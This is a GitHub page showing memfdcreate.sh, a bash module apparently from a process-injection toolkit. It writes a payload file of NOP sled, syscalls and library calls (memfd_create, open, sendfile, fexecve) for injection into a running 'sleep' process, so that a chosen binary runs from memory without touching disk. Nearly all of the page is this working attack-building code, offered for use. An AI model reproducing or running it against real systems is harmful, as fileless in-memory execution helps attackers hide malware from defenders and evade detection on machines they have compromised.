-
Notifications
You must be signed in to change notification settings - Fork 41
/
Copy pathmemfdcreate.sh
119 lines (88 loc) · 3.33 KB
/
memfdcreate.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
# Copyright (c) 2017 Rory McNamara
# each syscall will subtract it's length from the SLEDLEN, so we know how many NOPs to write
SLEDLEN=$((${PAYLOADSIZE}/8))
SYSCALLS=()
findstr() {
local OFFSET=${ALLSTRINGS%%$1*}
local NEGOFFSET=$((${STRINGSSIZE}-${#OFFSET}))
echo ${NEGOFFSET}
}
strptr() {
if [[ $((${STRINGSSIZE}%8)) -eq 0 ]]; then
echo $(($(($((16#${STACK[1]}))-$(findstr ${1})))))
else
echo $(($(($(($((16#${STACK[1]}))-$(findstr ${1})))))-$((8-$((${STRINGSSIZE}%8))))))
fi
}
STRINGS=()
# argv
STRINGS+=(${@:2})
STRINGS+=("")
ALLSTRINGS=${STRINGS[@]}
STRINGSSIZE=${#ALLSTRINGS}
# string ideas
# store an array of strings that we want. lookup can be performed using ${#${${ARRAY[@]}%%SEARCH*}}
# when writing, write each string followed by a \x00, because ${ARRAY[@]} adds in spaces, the indexes should be the same
# This section is LAST, but generated first so we can access the strings
BINARY=${2}
echo -ne "\r(1/5) FINDING MEMFD_CREATE " >&2
# memfd_create('ELF...', 0)
# because 400000 is the start of the ELF binary we're running in
# and it makes no difference what the string actually is
syscall 319 $((16#400001)) 0
echo -ne "\r(1/5) MEMFD_CREATE FOUND " >&2
echo -ne "\r(2/5) FINDING OPEN " >&2
# open(${BINARY}, O_RDONLY, 0)
# where BINARY is the offset from the bottom of the stack to the start of our null terminated string
syscall 2 $(strptr ${2}) 0 0
echo -ne "\r(2/5) OPEN FOUND " >&2
echo -ne "\r(3/5) FINDING SENDFILE " >&2
filesize ${BINARY}
# `sleep` would never have more than stdin/stdout/stderr open, so we can reliably guess file descriptors
# whilst a little hacky, it means we don't have to try and save retvals from functions
#
# for some reason, the raw sendfile syscall doesn't read all the data, but the glibc one does
# so use the glibc one instead
# sendfile(3, 4, 0, BINARYSIZE)
pltcall "sendfile" 3 4 0 ${FILESIZE}
echo -ne "\r(3/5) SENDFILE FOUND " >&2
echo -ne "\r(4/5) FINDING FEXECVE " >&2
# the two pointers here should be pointers to each element in argv/envp, followed by a null ptr
# envp currently just uses the null ptr at the end of the argv array, so we don't have to deal with it
# ENVP is easier to work out first
ENVP=$(($(strptr ${2})-8))
# want to be on the first string, not before it, so add 8 again
ARGV=$(($((${ENVP}-$((${#STRINGS[@]}*8))))+8))
pltcall "fexecve" 3 ${ARGV} ${ENVP}
echo -ne "\r(4/5) FEXECVE FOUND " >&2
echo -ne "\r(5/5) FINDING EXIT " >&2
# exit(0)
syscall 60 0
echo -ne "\r(5/5) EXIT FOUND " >&2
if [[ "${PREPARE}" = "PREPARE" ]]; then
echo "${PRELOAD[@]}"
exit
fi
# char**s +1 to account for the NULL at the end of the array
SLEDLEN=$((${SLEDLEN}-$((${#STRINGS[@]}+1))))
# char[]s
SLEDLEN=$((${SLEDLEN}-$((${STRINGSSIZE}/8))))
echo >&2
echo "Writing payload..." >&2
rm -f payload.bin
for ((i=${SLEDLEN}; i>0; i--)); do
write "${NOP}" payload.bin
done
for SYSCALL in ${SYSCALLS[@]}; do
write "${SYSCALL}" payload.bin
done
# argv array of pointers to char
for ARG in ${@:2}; do
write $(hexlify $(strptr ${ARG})) payload.bin
done
write $(hexlify 0) payload.bin
for STRING in ${STRINGS[@]}; do
write ${STRING} payload.bin
write "\x00" payload.bin
done
echo "Successfully generated payload" >&2